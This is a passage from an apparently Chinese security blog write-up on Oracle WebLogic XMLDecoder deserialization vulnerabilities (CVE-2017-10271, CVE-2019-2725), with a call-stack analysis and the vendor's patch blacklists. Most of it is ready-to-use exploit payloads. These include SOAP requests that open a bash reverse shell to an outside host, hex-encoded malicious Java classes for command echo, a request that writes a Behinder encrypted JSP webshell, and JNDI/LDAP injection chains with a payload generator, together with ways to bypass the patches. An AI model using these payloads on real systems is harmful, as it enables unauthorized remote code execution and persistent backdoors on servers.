 /wls-wsat/ParticipantPortType11
 /wls-wsat/RegistrationPortTypeRPC
 /wls-wsat/RegistrationPortTypeRPC11
 /wls-wsat/RegistrationRequesterPortType
 /wls-wsat/RegistrationRequesterPortType11
 
 | 
poc如下(注意其中反弹shell的语句,需要进行html编码,否则解析XML的时候将出现格式错误):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
 <object class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
 <string>bash -i >& /dev/tcp/192.168.111.178/6666 0>&1</string>
 </void>
 </array>
 <void method="start"/>
 </object>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
 </soapenv:Envelope>
 
 | 
这里要注意Content-type要设置为text/xml,不然会报415错误

还可以使用PrintWriter写webshell,路径可参考:weblogic上传木马路径选择,但比较鸡肋,因为需要写入权限,并且路径都是随机数
动态调试跟进前将 lib 目录加入到项目的 Libraries 中即可
断点下到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest

var1是我们post传入的内容,var3是xml的头部解析,如果不为空,就进入readHeaderOld()方法,继续调试

最终可以看到在weblogic.wsee.workarea.WorkContextXmlInputAdapter#readUTF执行了readObject()方法,对XMLDecoder对象进行了反序列化

调用栈如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 
 | readObject:250, XMLDecoder (java.beans)readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
 readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
 receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
 receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
 receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
 readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
 processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
 __doRun:866, Fiber (com.sun.xml.ws.api.pipe)
 _doRun:815, Fiber (com.sun.xml.ws.api.pipe)
 doRun:778, Fiber (com.sun.xml.ws.api.pipe)
 runSync:680, Fiber (com.sun.xml.ws.api.pipe)
 process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
 handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
 handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
 handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
 handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
 run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
 doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
 runAs:146, SecurityManager (weblogic.security.service)
 authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
 run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
 post:336, HttpServletAdapter (weblogic.wsee.jaxws)
 doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
 service:99, AbstractAsyncServlet (weblogic.servlet.http)
 service:820, HttpServlet (javax.servlet.http)
 run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
 invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
 execute:301, ServletStubImpl (weblogic.servlet.internal)
 execute:184, ServletStubImpl (weblogic.servlet.internal)
 wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
 run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
 doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
 runAs:120, SecurityManager (weblogic.security.service)
 securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
 execute:2179, WebAppServletContext (weblogic.servlet.internal)
 run:1490, ServletRequestImpl (weblogic.servlet.internal)
 execute:256, ExecuteThread (weblogic.work)
 run:221, ExecuteThread (weblogic.work)
 
 | 
参考:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
回显构造
恶意类代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | package com.supeream.exploits;
 import java.io.InputStream;
 import java.util.ArrayList;
 import java.util.List;
 
 public class XmlExp {
 public XmlExp() {
 }
 
 public InputStream say(String cmd) throws Exception {
 boolean isLinux = true;
 String osTyp = System.getProperty("os.name");
 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
 isLinux = false;
 }
 
 List<String> cmds = new ArrayList();
 if (cmd.startsWith("$NO$")) {
 cmds.add(cmd.substring(4));
 } else if (isLinux) {
 cmds.add("/bin/bash");
 cmds.add("-c");
 cmds.add(cmd);
 } else {
 cmds.add("cmd.exe");
 cmds.add("/c");
 cmds.add(cmd);
 }
 
 ProcessBuilder processBuilder = new ProcessBuilder(cmds);
 processBuilder.redirectErrorStream(true);
 Process proc = processBuilder.start();
 return proc.getInputStream();
 }
 }
 
 | 
这里使用DefiningClassLoader加载恶意类,weblogic10的payload如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
 <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
 <string>0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034</string>
 </void>
 <void class="org.mozilla.classfile.DefiningClassLoader">
 <void method="defineClass">
 <string>com.supeream.exploits.XmlExp</string>
 <object idref="cls"></object>
 <void method="newInstance">
 <void method="say" id="proc">
 <string>ls</string>
 </void>
 </void>
 </void>
 </void>
 <void class="java.lang.Thread" method="currentThread">
 <void method="getCurrentWork">
 <void method="getResponse">
 <void method="getServletOutputStream">
 <void method="writeStream">
 <object idref="proc"></object>
 </void>
 <void method="flush"/>
 </void>
 <void method="getWriter"><void method="write"><string></string></void></void>
 </void>
 </void>
 </void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
 </soapenv:Envelope>
 
 | 
getCurrentWork拿到的是WorkAdapter类,而WorkAdapter类和ServletRequestImpl有继承关系,可以直接强制类型转换

然后再调用getResponse方法即可获得ServletResponseImpl类

最后的回显就是调用getServletOutputStream进行输出了

但是weblogic 12和10版本获取 ServletResponseImpl 类的方法不同
weblogic 12是从当前线程类获得 ContainerSupportProviderImpl 类,通过对 ContainerSupportProviderImpl 类的 connectionHandler 字段的反射获得了 HttpConnectionHandler 类,再使用 HttpConnectionHandler 类的 getServletResponse 方法就能拿到 ServletResponseImpl 类来完成后面的回显
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | ExecuteThread executeThread = (ExecuteThread)Thread.currentThread();ServletResponseImpl servletResponse = null;
 WorkAdapter workAdapter = executeThread.getCurrentWork();
 WebAppServletContext webAppServletContext = null;
 if (workAdapter.getClass().getName().contains("ContainerSupportProviderImpl")) {
 
 Field field = workAdapter.getClass().getDeclaredField("connectionHandler");
 field.setAccessible(true);
 HttpConnectionHandler httpConnectionHandler = (HttpConnectionHandler)field.get(workAdapter);
 webAppServletContext = httpConnectionHandler.getServletRequest().getContext();
 servletResponse = httpConnectionHandler.getServletResponse();
 }
 else if (workAdapter instanceof ServletRequestImpl) {
 
 ServletRequestImpl servletRequest = (ServletRequestImpl)workAdapter;
 servletResponse = servletRequest.getResponse();
 }
 
 | 
我们可以直接反射获取servletResponse,最终通用回显的payload(注意最好使用jdk低版本进行编译,因为高版本兼容低版本但低版本不兼容高版本):
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
 <void class="weblogic.utils.Hex" method="fromHexString" id="cls">
 <string>cafebabe0000003300c30a002b005d0a005e005f0700600a000300610a002b00620a006300640800650a006600670800680a006300690a006a006b0a006a006c08003907006d07006e0a000f006f0700700800710a007200730a006600740800750700760a0016005d0800770a006600780a006600790b007a007b08007c08007d08007e08007f0700800a002000810a002000820a002000830a000e00840a008500860a008700880a000e008908008a0a008b008c07008d07008e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100084c586d6c4578703b010003736179010015284c6a6176612f6c616e672f537472696e673b29560100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01001568747470436f6e6e656374696f6e48616e646c65720100124c6a6176612f6c616e672f4f626a6563743b010008726573706f6e736501000e736572766c65745265717565737401002e4c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000d6578656375746554687265616401001d4c7765626c6f6769632f776f726b2f457865637574655468726561643b01000f736572766c6574526573706f6e736501002f4c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b01000b776f726b4164617074657201001b4c7765626c6f6769632f776f726b2f576f726b416461707465723b010014776562417070536572766c6574436f6e746578740100304c7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e746578743b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507008d07008f07006007006d07009007009107007007009201000a457863657074696f6e7301000a536f7572636546696c6501000b586d6c4578702e6a6176610c002c002d0700930c0094009501001b7765626c6f6769632f776f726b2f457865637574655468726561640c009600970c0098009907009a0c009b009c01001c436f6e7461696e6572537570706f727450726f7669646572496d706c07008f0c009d009e010011636f6e6e656374696f6e48616e646c65720c009f00a00700a10c00a200a30c00a400a501002d7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c01002c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c657452657175657374496d706c0c00a600a70100136a6176612f6c616e672f457863657074696f6e0100076f732e6e616d650700a80c00a900aa0c00ab009c01000377696e0100136a6176612f7574696c2f41727261794c697374010004244e4f240c00ac00ad0c00ae00af0700920c00b000b10100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c002c00b20c00b300b40c00b500b60c00b700b80700b90c00ba00bb0700bc0c00bd00be0c00bf00c00100000700c10c00c20034010006586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e670100197765626c6f6769632f776f726b2f576f726b4164617074657201002e7765626c6f6769632f736572766c65742f696e7465726e616c2f576562417070536572766c6574436f6e7465787401000e6a6176612f7574696c2f4c6973740100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b01000e67657443757272656e74576f726b01001d28294c7765626c6f6769632f776f726b2f576f726b416461707465723b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000f6a6176612f6c616e672f436c6173730100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000b676574526573706f6e736501003128294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c6574526573706f6e7365496d706c3b0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b010016676574536572766c65744f757470757453747265616d01003528294c7765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c3b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100317765626c6f6769632f736572766c65742f696e7465726e616c2f536572766c65744f757470757453747265616d496d706c01000b777269746553747265616d010018284c6a6176612f696f2f496e70757453747265616d3b295601000967657457726974657201001728294c6a6176612f696f2f5072696e745772697465723b0100136a6176612f696f2f5072696e7457726974657201000577726974650021002a002b0000000000020001002c002d0001002e0000003300010001000000052ab70001b100000002002f0000000a00020000000b0004000c00300000000c0001000000050031003200000001003300340002002e000002bf0003000b00000129b80002c000034d014e2cb600043a04013a051904b60005b600061207b6000899003e1904b600051209b6000a3a06190604b6000b19061904b6000c3a071907b60005120db6000a3a08190804b6000b19081907b6000cc0000e4ea700181904c1000f9900101904c0000f3a061906b600104ea700053a060436061212b800133a071907c600131907b600141215b60008990006033606bb001659b700173a082b1218b6001999001319082b07b6001ab9001b020057a7004515069900231908121cb9001b0200571908121db9001b02005719082bb9001b020057a700201908121eb9001b0200571908121fb9001b02005719082bb9001b020057bb0020591908b700213a09190904b60022571909b600233a0a2db60024190ab60025b600262db600271228b60029b1000100120072007500110004002f0000009600250000000f0007001000090011000f00120012001500220017002e001800340019003d001a0049001b004f001c005a001d005d001e00650020006c0021007200240075002300770026007a002700810028009300290096002c009f002d00a8002e00b8002f00bd003000c7003100d1003200dd003400e7003500f1003600fa00390105003a010c003b0113003c011f003d0128003e003000000098000f002e002c003500360006003d001d00370038000700490011003900360008006c0006003a003b00060000012900310032000000000129003c003d000100070122003e003f000200090120004000410003000f011a00420043000400120117004400450005007a00af004600470006008100a80048003d0007009f008a0049004a000801050024004b004c000901130016004d004e000a004f0000000c0001009f008a0049005000080051000000300008ff005d00060700520700530700540700550700560700570000144207005801fd001e01070053fc0021070059241c005a00000004000100110001005b00000002005c</string>
 </void>
 <void class="org.mozilla.classfile.DefiningClassLoader">
 <void method="defineClass">
 <string>XmlExp</string>
 <object idref="cls"></object>
 <void method="newInstance">
 <void method="say" id="proc">
 <string>ls</string>
 </void>
 </void>
 </void>
 </void>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
 </soapenv:Envelope>
 
 | 

需要具体代码的话解密一下就可以了。其实不仅可以使用weblogic.utils.Hex,也可以使用sun.misc.BASE64Decoder或者weblogic.utils.encoders.BASE64Decoder,都是可以正常回显的
参考文章:
Weblogic Xmldecoder反序列化中的命令回显与内存马总结
CVE-2019-2725/CNVD-C-2019-48814终章——报文回显
再谈 CVE-2017-10271回显POC构造
历史补丁
官方对CVE-2017-3506的修复是在WorkContextXmlInputAdapter中添加了validate验证,采用黑名单机制禁用了object标签
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | private void validate(InputStream is) {WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 try {
 SAXParser parser = factory.newSAXParser();
 parser.parse(is, new DefaultHandler() {
 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
 if(qName.equalsIgnoreCase("object")) {
 throw new IllegalStateException("Invalid context type: object");
 }
 }
 });
 } catch (ParserConfigurationException var5) {
 throw new IllegalStateException("Parser Exception", var5);
 } catch (SAXException var6) {
 throw new IllegalStateException("Parser Exception", var6);
 } catch (IOException var7) {
 throw new IllegalStateException("Parser Exception", var7);
 }
 }
 
 | 
但这也是非常简单绕过的,使用void或者new替换object即可
为什么可以这样用,来看一下 VoidElementHandler 的源码

可以看到 VoidElementHandler 是 ObjectElementHandler 类的子类
CVE-2017-10271的修复补丁为:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | private void validate(InputStream is) {WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 try {
 SAXParser parser = factory.newSAXParser();
 parser.parse(is, new DefaultHandler() {
 private int overallarraylength = 0;
 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
 if(qName.equalsIgnoreCase("object")) {
 throw new IllegalStateException("Invalid element qName:object");
 } else if(qName.equalsIgnoreCase("new")) {
 throw new IllegalStateException("Invalid element qName:new");
 } else if(qName.equalsIgnoreCase("method")) {
 throw new IllegalStateException("Invalid element qName:method");
 } else {
 if(qName.equalsIgnoreCase("void")) {
 for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
 if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
 throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
 }
 }
 }
 if(qName.equalsIgnoreCase("array")) {
 String var9 = attributes.getValue("class");
 if(var9 != null && !var9.equalsIgnoreCase("byte")) {
 throw new IllegalStateException("The value of class attribute is not valid for array element.");
 }
 
 | 
本次更新中官方将object、new、method关键字继续加入到黑名单中,一旦解析XML元素过程中匹配到上述任意一个关键字就立即抛出运行时异常。但是针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常
参考:
Weblogic XMLDecoder RCE分析
CVE-2019-2725
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令
影响版本:
| 12
 
 | Oracle WebLogic Server 10.*Oracle WebLogic Server 12.1.3
 
 | 
访问/_async/AsyncResponseService,显示如下界面说明可能存在漏洞

我们可以访问/_async/AsyncResponseService?info,得到网站的具体路径

无补丁的payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header>
 <wsa:Action>xx</wsa:Action>
 <wsa:RelatesTo>xx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter">
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
 <void method="println"><string>
 <![CDATA[
 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object></java></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body>
 <asy:onAsyncDelivery/>
 </soapenv:Body></soapenv:Envelope>
 
 | 

看到返回202状态码,然后我们就可以在/_async/shell.jsp访问到我们的木马了,这里写入的是冰蝎马,测试连接

但是这种利用是没有补丁的情况下才可以利用的,如果使用了CVE-2017-10271的补丁,是不能这样利用的
官方文档写到:https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

可以知道class元素节点同样可以指定任意的类名,但是我们没有办法指定该类的任意方法,所以我们需要在序列化对象实例化时会自动调用其构造方法,且其构造方法的参数类型恰好是字节数组或者是java中的基础数据类型,比如string,int这些,这样就可以满足array元素和void元素的限制条件
有一个简单的探测出网以及是否存在漏洞方式,使用java.net.Socket
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header>
 <wsa:Action>xx</wsa:Action>
 <wsa:RelatesTo>xx</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><class><string>java.net.Socket</string><void><string>192.168.111.178</string><int>6666</int></void></class></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body>
 <asy:onAsyncDelivery/>
 </soapenv:Body></soapenv:Envelope>
 
 | 
UnitOfWorkChangeSet
最终找到关键的类:oracle.toplink.internal.sessions.UnitOfWorkChangeSet,这个类只存在于10.3.6当中
看一下他的构造方法

看到是一个readObject,二次反序列化,那么我们可以利用原生jdk7u21 gadget来进行反序列化,exp如下:https://github.com/lufeirider/CVE-2019-2725,但是这条利用链条件十分有限,只能打jdk7u21
后面找到了com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager这个类

它的readObject中调用了initUserTransactionAndTransactionManager方法,继续跟进

可以看到将this.userTransactionName传递到了lookupUserTransaction函数中

跟进可以发现是一个jndi注入,虽然存在jdk版本的限制,不过总比jdk7u21好使,生成payload.xml的脚本如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 
 | import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
 import java.io.ByteArrayOutputStream;
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 
 public class exp
 {
 public static void main( String[] args ) throws Exception {
 String command ="ldap://192.168.111.178:1389/Basic/ReverseShell/192.168.111.178/6666";
 JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
 jtaTransactionManager.setUserTransactionName(command);
 byte[] bytes = ObjectToByte(jtaTransactionManager);
 
 objectXmlEncoder(bytes , "payload.xml");
 }
 private static byte[] ObjectToByte(Object obj) {
 byte[] bytes = null;
 try {
 
 ByteArrayOutputStream bo = new ByteArrayOutputStream();
 ObjectOutputStream oo = new ObjectOutputStream(bo);
 oo.writeObject(obj);
 
 bytes = bo.toByteArray();
 
 bo.close();
 oo.close();
 } catch (Exception e) {
 System.out.println("translation" + e.getMessage());
 e.printStackTrace();
 }
 return bytes;
 }
 
 public static void objectXmlEncoder(Object obj,String fileName)
 throws FileNotFoundException, IOException,Exception
 {
 java.io.File file = new java.io.File(fileName);
 if(!file.exists()){
 file.createNewFile();
 }
 java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
 java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
 xe.flush();
 
 xe.writeObject(obj);
 xe.close();
 oop.close();
 }
 }
 
 | 
运行之后将生成的payload.xml内容拷贝即可(从 <array>到</array>)
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header>
 <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
 需要拼接的部分</void></class>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
 
 | 
最终复现成功

JdbcRowSetImpl
然后还有一个jndi注入的方式,在jdk 1.7以及之后的版本中才能利用,看到类com.sun.beans.decoder.DocumentHandler

新增了property标签,他会调用setter方法
那么我们构造一下com.sun.rowset.JdbcRowSetImpl的利用链,最后的payload为:
| 12
 3
 4
 5
 6
 7
 8
 
 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><class><string>com.sun.rowset.JdbcRowSetImpl</string><void>
 <property name="dataSourceName"><string>ldap://192.168.111.178:1389/Basic/ReverseShell/192.168.111.178/6666</string></property><property name="autoCommit"><boolean>true</boolean></property>
 </void></class>
 </java>
 </work:WorkContext>
 </soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
 
 | 
成功反弹shell

这也算一个另类的绕过技巧吧
FileSystemXmlApplicationContext
我们可以看到类com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,首先是一个初始化

然后进到了AbstractBeanDefinitionReader类,加载spring的配置文件来进行rce

还有个类com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext是一样的作用,他们都是AbstractXmlApplicationContext类的子类
最后的payload:
| 12
 3
 4
 5
 6
 7
 
